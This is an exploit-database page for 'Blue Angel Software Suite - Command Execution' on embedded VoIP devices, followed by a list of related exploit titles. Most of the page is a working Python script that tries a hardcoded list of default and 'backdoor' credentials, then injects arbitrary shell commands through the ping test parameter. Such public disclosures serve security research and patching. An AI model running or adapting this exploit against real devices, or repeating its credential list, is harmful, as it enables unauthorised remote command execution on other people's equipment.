Menu

Search for hundreds of thousands of exploits

"Blue Angel Software Suite - Command Execution"

Author

"Paolo Serracino_ Pietro Minniti_ Damiano Proietti"

Platform

linux

Release date

2019-05-03

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
# Exploit Title: Blue Angel Software Suite - Authenticated Command Execution
# Google Dork: N/A
# Date: 02/05/2019
# Exploit Author: Paolo Serracino 
# Vendor Homepage: http://www.5vtechnologies.com
# Software Link: N/A
# Version: All
# Tested on: Embedded Linux OS
# CVE : N/A
# Description: Blue Angel Software Suite, an application that runs on embedded devices for VOIP/SIP services is vulnerable to an authenticated 
# command execution in ping command. All default accounts can be used to login and achieve command execution, including the guest one. 
# Moreover there's another account, defined in the local file device.dat, that provides an apparently "backdoor" account.
# A list of these accounts is hardcoded in the script.

#/usr/bin/python
import sys
import requests


def check_sw(target,port):

  res = requests.get(target + ':' + port)

  if '/cgi-bin/webctrl.cgi?action=index_page' in res.text:
     return True
  else:
     print "[-] DOES NOT LOOK LIKE THE PAGE WE'RE LOOKING FOR"
     return False

def check_login(target,port,command):

   if not check_sw(target,port):
      sys.exit()

   creds_common = [('blueangel','blueangel'), #the "backdoor" account
                   ('root','abnareum10'),
                   ('root','Admin@tbroad'),
                   ('root','superuser'),
                   ('user','user') ,
                   ('guest','guest'),
                   ]
 
   for i in range(len(creds_common)):
      postdata=[('action','login_authentication'),
               ('redirect_action','sysinfo_page'),
               ('login_username',creds_common[i][0]),
               ('login_password',creds_common[i][1]),
               ('B1','Login')
               ]

      res = requests.post(target + ':' + port + '/cgi-bin/webctrl.cgi',data=postdata)

      if 'Set-Cookie' in res.headers:
         cookie = res.headers.get('Set-Cookie')
         print '[+] LOGGED IN WITH CREDENTIALS  ' + str(creds_common[i][0] + ' : ' + creds_common[i][1]) 
         execute_cmd(target,port,cookie,command)  
         return True


def execute_cmd(target,port,cookie,cmd):

   print '[+] EXECUTING COMMAND'
   new_headers = ({'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)',
                 'Referer': target,
                 'Cookie': cookie
                })
   res = requests.get(target + ':' + port + '/cgi-bin/webctrl.cgi?action=pingtest_update&ping_addr=127.0.0.1;' + cmd + '&B1=PING',headers=new_headers)
   res_lines = res.text.splitlines()
   result = []
   copy = False

   for line in res_lines:

      if 'round-trip min/avg/max' in line:
         copy = True
      elif '</pre></body></html>' in line: 
         copy = False
      elif copy == True:
         result.append(line)

   print('[+] COMMAND RESPONSE')
   print('------------------------------------------')

   for r in result:
      print r
   print('------------------------------------------')


def main():

   if len(sys.argv) < 4:
      print '[-] 3 ARGS: TARGET PORT SHELL_COMMAND'
      sys.exit()
   
   target = sys.argv[1]   
   port = sys.argv[2]
   command = sys.argv[3]
   if not check_login(target,port,command):
      print '[-] COULD NOT FIND VALID CREDENTIALS'
      
if __name__ == "__main__":
    main()
Release Date Title Type Platform Author
2019-09-10 "LibreNMS - Collectd Command Injection (Metasploit)" remote linux Metasploit
2019-09-06 "FusionPBX 4.4.8 - Remote Code Execution" remote linux Askar
2019-09-05 "AwindInc SNMP Service - Command Injection (Metasploit)" remote linux Metasploit
2019-09-03 "ptrace - Sudo Token Privilege Escalation (Metasploit)" local linux Metasploit
2019-09-03 "ktsuss 1.4 - suid Privilege Escalation (Metasploit)" local linux Metasploit
2019-08-20 "QEMU - Denial of Service" remote linux vishnudevtj
2019-08-26 "Exim 4.87 / 4.91 - Local Privilege Escalation (Metasploit)" local linux Metasploit
2019-08-19 "Webmin 1.920 - Remote Code Execution" webapps linux "Fernando A. Lagos B"
2019-08-14 "ABC2MTEX 1.6.1 - Command Line Stack Overflow" dos linux "Carter Yagemann"
2019-08-12 "Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit)" remote linux AkkuS
2019-08-12 "Ghidra (Linux) 9.0.4 - .gar Arbitrary Code Execution" local linux "Etienne Lacoche"
2019-08-12 "Linux - Use-After-Free Reads in show_numa_stats()" dos linux "Google Security Research"
2019-07-30 "Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)" remote linux Metasploit
2018-12-29 "Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation" local linux bcoles
2018-12-29 "Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP)" local linux bcoles
2018-12-29 "Linux Kernel 4.8.0-34 < 4.8.0-45 (Ubuntu / Linux Mint) - Packet Socket Local Privilege Escalation" local linux bcoles
2019-01-04 "Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (polkit Method)" local linux bcoles
2018-11-21 "Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (ldpreload Method)" local linux bcoles
2019-01-04 "Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (dbus Method)" local linux bcoles
2018-11-21 "Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (cron Method)" local linux bcoles
2019-07-24 "Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation" local linux bcoles
2019-07-26 "pdfresurrect 0.15 - Buffer Overflow" dos linux j0lama
2019-07-22 "Axway SecureTransport 5 - Unauthenticated XML Injection" webapps linux "Dominik Penner"
2019-07-22 "Comtrend-AR-5310 - Restricted Shell Escape" local linux "AMRI Amine"
2019-07-19 "Docker - Container Escape" local linux dominikczarnotatob
2019-07-22 "BACnet Stack 0.8.6 - Denial of Service" dos linux mmorillo
2019-07-19 "Web Ofisi Firma 13 - 'oz' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "Web Ofisi Rent a Car 3 - 'klima' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "Web Ofisi Firma Rehberi 1 - 'il' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "Web Ofisi Emlak 3 - 'emlak_durumu' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
Release Date Title Type Platform Author
2019-05-03 "Blue Angel Software Suite - Command Execution" remote linux "Paolo Serracino_ Pietro Minniti_ Damiano Proietti"
2019-01-14 "Horde Imp - 'imap_open' Remote Command Execution" webapps php "Paolo Serracino_ Pietro Minniti_ Damiano Proietti"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46792/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/46792/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46792/41226/blue-angel-software-suite-command-execution/download/", "exploit_id": "46792", "exploit_description": "\"Blue Angel Software Suite - Command Execution\"", "exploit_date": "2019-05-03", "exploit_author": "\"Paolo Serracino_ Pietro Minniti_ Damiano Proietti\"", "exploit_type": "remote", "exploit_platform": "linux", "exploit_port": null}
                    

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Wig is a web application information gathering tool, which can identify numerous Content Management Systems and other administrative applications including basic vulnerability identification.

Browse exploit APIBrowse